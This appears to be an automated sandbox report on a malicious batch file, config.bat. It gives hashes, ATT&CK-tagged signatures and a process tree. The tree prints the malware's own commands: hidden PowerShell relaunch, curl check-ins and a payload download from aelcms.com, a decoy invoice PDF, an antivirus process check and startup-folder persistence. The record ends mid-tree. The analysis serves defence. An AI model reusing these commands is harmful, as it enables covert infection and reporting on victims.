d7f5589798264ec51e1b250c55d1a8c6821c3b2f932f5ee0078e0b6770c0e17a

Analysis

max time kernel
149s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/10/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
config.bat
Size 5KB
Sample261029-pgtd3abb89
SHA256 d7f5589798264ec51e1b250c55d1a8c6821c3b2f932f5ee0078e0b6770c0e17a
MD5 7460be8bf73b1b571c5602c6babb348e
SHA1 13f42f9ad5fc06d0adc1743a196185eb469791d7
SHA512 49bacdb9a197f3be03147a4f82ee6da0af5b8b9ada3535f383b6a1ade0511f3813a7afde99b1f3de8ada786fd28f6e1915c41e905d8e99c9902bcd746172e4b8
SSDEEP 96:pvp9TQVftUqjw+57mTk6MuBiSXNMwjIMj3S0DLXLgH8eZT/4fG2Dn/wP1Q6m8Dwf:vuHxmTknuBiSeanXXLgH8eZT/rZNDwE2
TLSH
T16EC182A322584810C9BA52E167421483E39ED1470754CEC675BE80BEBF6D2BBD2F57D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware defense_evasion discovery execution persistence privilege_escalation spyware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2248	powershell.exe
4848	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	cmd.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\wcache.bat	cmd.exe

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2212	tasklist.exe
2076	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4244	cmd.exe
1112	cmd.exe
4832	cmd.exe
4996	cmd.exe
2748	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2924	PING.EXE

System Network Connections Discovery 1 TTPs 4 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
4984	NETSTAT.EXE
2144	NETSTAT.EXE
3160	NETSTAT.EXE
1168	NETSTAT.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Delays execution with timeout.exe 4 IoCs

defense_evasion

pid	Process
212	timeout.exe
3996	timeout.exe
3836	timeout.exe
1136	timeout.exe

Gathers network information 2 TTPs 4 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4984	NETSTAT.EXE
2144	NETSTAT.EXE
3160	NETSTAT.EXE
1168	NETSTAT.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000_Classes\Local Settings	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2924	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2248	powershell.exe
2248	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe

Suspicious use of AdjustPrivilegeToken 50 IoCs

description	pid	Process
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2212	tasklist.exe
Token: SeDebugPrivilege	2076	tasklist.exe
Token: SeDebugPrivilege	4984	NETSTAT.EXE
Token: SeDebugPrivilege	2144	NETSTAT.EXE
Token: SeDebugPrivilege	3160	NETSTAT.EXE
Token: SeDebugPrivilege	1168	NETSTAT.EXE
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeIncreaseQuotaPrivilege	4848	powershell.exe
Token: SeSecurityPrivilege	4848	powershell.exe
Token: SeTakeOwnershipPrivilege	4848	powershell.exe
Token: SeLoadDriverPrivilege	4848	powershell.exe
Token: SeSystemProfilePrivilege	4848	powershell.exe
Token: SeSystemtimePrivilege	4848	powershell.exe
Token: SeProfSingleProcessPrivilege	4848	powershell.exe
Token: SeIncBasePriorityPrivilege	4848	powershell.exe
Token: SeCreatePagefilePrivilege	4848	powershell.exe
Token: SeBackupPrivilege	4848	powershell.exe
Token: SeRestorePrivilege	4848	powershell.exe
Token: SeShutdownPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeSystemEnvironmentPrivilege	4848	powershell.exe
Token: SeRemoteShutdownPrivilege	4848	powershell.exe
Token: SeUndockPrivilege	4848	powershell.exe
Token: SeManageVolumePrivilege	4848	powershell.exe
Token: 33	4848	powershell.exe
Token: 34	4848	powershell.exe
Token: 35	4848	powershell.exe
Token: 36	4848	powershell.exe
Token: SeIncreaseQuotaPrivilege	4848	powershell.exe
Token: SeSecurityPrivilege	4848	powershell.exe
Token: SeTakeOwnershipPrivilege	4848	powershell.exe
Token: SeLoadDriverPrivilege	4848	powershell.exe
Token: SeSystemProfilePrivilege	4848	powershell.exe
Token: SeSystemtimePrivilege	4848	powershell.exe
Token: SeProfSingleProcessPrivilege	4848	powershell.exe
Token: SeIncBasePriorityPrivilege	4848	powershell.exe
Token: SeCreatePagefilePrivilege	4848	powershell.exe
Token: SeBackupPrivilege	4848	powershell.exe
Token: SeRestorePrivilege	4848	powershell.exe
Token: SeShutdownPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeSystemEnvironmentPrivilege	4848	powershell.exe
Token: SeRemoteShutdownPrivilege	4848	powershell.exe
Token: SeUndockPrivilege	4848	powershell.exe
Token: SeManageVolumePrivilege	4848	powershell.exe
Token: 33	4848	powershell.exe
Token: 34	4848	powershell.exe
Token: 35	4848	powershell.exe
Token: 36	4848	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2580	AcroRd32.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2580	AcroRd32.exe
2580	AcroRd32.exe
2580	AcroRd32.exe
2580	AcroRd32.exe
2580	AcroRd32.exe
2580	AcroRd32.exe
2580	AcroRd32.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 4244 wrote to memory of 2248	4244	cmd.exe	87
PID 2248 wrote to memory of 1112	2248	powershell.exe	88
PID 1112 wrote to memory of 2332	1112	cmd.exe	90
PID 1112 wrote to memory of 4832	1112	cmd.exe	91
PID 1112 wrote to memory of 3996	1112	cmd.exe	92
PID 1112 wrote to memory of 2580	1112	cmd.exe	95
PID 1112 wrote to memory of 2212	1112	cmd.exe	97
PID 1112 wrote to memory of 3068	1112	cmd.exe	98
PID 1112 wrote to memory of 3812	1112	cmd.exe	101
PID 1112 wrote to memory of 4996	1112	cmd.exe	102
PID 4996 wrote to memory of 2076	4996	cmd.exe	103
PID 1112 wrote to memory of 3776	1112	cmd.exe	104
PID 1112 wrote to memory of 2704	1112	cmd.exe	105
PID 1112 wrote to memory of 4984	1112	cmd.exe	106
PID 1112 wrote to memory of 1168	1112	cmd.exe	107
PID 1112 wrote to memory of 820	1112	cmd.exe	108
PID 1112 wrote to memory of 212	1112	cmd.exe	109
PID 2580 wrote to memory of 2116	2580	AcroRd32.exe	111
PID 2116 wrote to memory of 900	2116	RdrCEF.exe	112
PID 2116 wrote to memory of 1640	2116	RdrCEF.exe	113
PID 2116 wrote to memory of 1640	2116	RdrCEF.exe	113
PID 2116 wrote to memory of 1844	2116	RdrCEF.exe	114
PID 2116 wrote to memory of 1844	2116	RdrCEF.exe	114
PID 2116 wrote to memory of 3932	2116	RdrCEF.exe	115
PID 2116 wrote to memory of 3932	2116	RdrCEF.exe	115
PID 2116 wrote to memory of 4060	2116	RdrCEF.exe	116
PID 2116 wrote to memory of 3508	2116	RdrCEF.exe	120
PID 2116 wrote to memory of 2032	2116	RdrCEF.exe	121
PID 1112 wrote to memory of 2144	1112	cmd.exe	122
PID 1112 wrote to memory of 2080	1112	cmd.exe	123
PID 1112 wrote to memory of 456	1112	cmd.exe	124
PID 1112 wrote to memory of 3996	1112	cmd.exe	125
PID 1112 wrote to memory of 3160	1112	cmd.exe	126
PID 1112 wrote to memory of 4444	1112	cmd.exe	127
PID 1112 wrote to memory of 2212	1112	cmd.exe	128
PID 1112 wrote to memory of 3836	1112	cmd.exe	129
PID 1112 wrote to memory of 1168	1112	cmd.exe	130
PID 1112 wrote to memory of 2448	1112	cmd.exe	131
PID 1112 wrote to memory of 4744	1112	cmd.exe	132
PID 1112 wrote to memory of 1136	1112	cmd.exe	133
PID 1112 wrote to memory of 4848	1112	cmd.exe	134
PID 1112 wrote to memory of 2748	1112	cmd.exe	135
PID 1112 wrote to memory of 1264	1112	cmd.exe	137
PID 2748 wrote to memory of 1228	2748	cmd.exe	138
PID 2748 wrote to memory of 2924	2748	cmd.exe	141

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\config.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\config.bat' -ArgumentList 'h ' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\config.bat" h "
    3⤵
    - Checks computer location settings
    - Creates a file in the Startup directory
    - Executes a command shell one-liner
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk --connect-timeout 6 --max-time 10 "https://aelcms.com/inv/b.php?s=run&h=lx30de664fe57b&c=Admin"
      4⤵
      PID:2332
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\curl.exe" -sk --connect-timeout 6 --max-time 10 "https://aelcms.com/inv/b.php?g=1&h=lx30de664fe57b&c=Admin"
      4⤵
      Executes a command shell one-liner
      PID:4832
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk --connect-timeout 8 --max-time 30 -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\rechnung.pdf" "https://aelcms.com/inv/invoice.pdf"
      4⤵
      PID:3996
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\rechnung.pdf"
      4⤵
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2580
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2116
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0E6A6F51FBD96C417B74A47638A2C8DC --mojo-platform-channel-handle=1776 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:900
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=8A7212CF2AC2275FEE1D9247E4BA0AD2 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=8A7212CF2AC2275FEE1D9247E4BA0AD2 --renderer-client-id=2 --mojo-platform-channel-handle=1784 --allow-no-sandbox-job /prefetch:1
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1640
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=BBA2293734567F1CE7C2C69A44756248 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=BBA2293734567F1CE7C2C69A44756248 --renderer-client-id=4 --mojo-platform-channel-handle=2340 --allow-no-sandbox-job /prefetch:1
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1844
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=0F8F49B44B46771013BB441C8B7C5D12 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=0F8F49B44B46771013BB441C8B7C5D12 --renderer-client-id=5 --mojo-platform-channel-handle=2604 --allow-no-sandbox-job /prefetch:1
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3932
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C8B1CC075C8E46C569F16CE55E1F2921 --mojo-platform-channel-handle=2928 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4060
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=46120E26F9018D9000352159C8B745FB --mojo-platform-channel-handle=1880 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3508
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E775C0BEAB37FF17DF3F6CE813B9925B --mojo-platform-channel-handle=1788 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2032
  - - C:\Windows\system32\tasklist.exe
      tasklist /fo csv /nh
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2212
  - - C:\Windows\system32\findstr.exe
      findstr /i "ekrn.exe avp.exe avgnt.exe avastui.exe avguard.exe nod32krn.exe avg.exe"
      4⤵
      PID:3068
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=av&h=lx30de664fe57b&c=Admin&a=Defender/None"
      4⤵
      PID:3812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq explorer.exe" /fo csv /nh
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq explorer.exe" /fo csv /nh
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:2076
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sfk --connect-timeout 10 --max-time 240 --remove-on-error -o "C:\Users\Admin\AppData\Local\Temp\pc1.zip" "https://aelcms.com/inv/pc1.zip"
      4⤵
      PID:3776
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=post&h=lx30de664fe57b&c=Admin&a=Defender/None&p=launched"
      4⤵
      PID:2704
  - - C:\Windows\System32\NETSTAT.EXE
      "C:\Windows\System32\netstat.exe" -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      Suspicious use of AdjustPrivilegeToken
      PID:4984
  - - C:\Windows\system32\findstr.exe
      findstr /i "ESTABLISHED"
      4⤵
      PID:1168
  - - C:\Windows\system32\findstr.exe
      findstr /i "4452 45602 3232"
      4⤵
      PID:820
  - - C:\Windows\System32\timeout.exe
      "C:\Windows\System32\timeout.exe" /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:212
  - - C:\Windows\System32\NETSTAT.EXE
      "C:\Windows\System32\netstat.exe" -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      Suspicious use of AdjustPrivilegeToken
      PID:2144
  - - C:\Windows\system32\findstr.exe
      findstr /i "ESTABLISHED"
      4⤵
      PID:2080
  - - C:\Windows\system32\findstr.exe
      findstr /i "4452 45602 3232"
      4⤵
      PID:456
  - - C:\Windows\System32\timeout.exe
      "C:\Windows\System32\timeout.exe" /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3996
  - - C:\Windows\System32\NETSTAT.EXE
      "C:\Windows\System32\netstat.exe" -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      Suspicious use of AdjustPrivilegeToken
      PID:3160
  - - C:\Windows\system32\findstr.exe
      findstr /i "ESTABLISHED"
      4⤵
      PID:4444
  - - C:\Windows\system32\findstr.exe
      findstr /i "4452 45602 3232"
      4⤵
      PID:2212
  - - C:\Windows\System32\timeout.exe
      "C:\Windows\System32\timeout.exe" /t 5 /nobreak
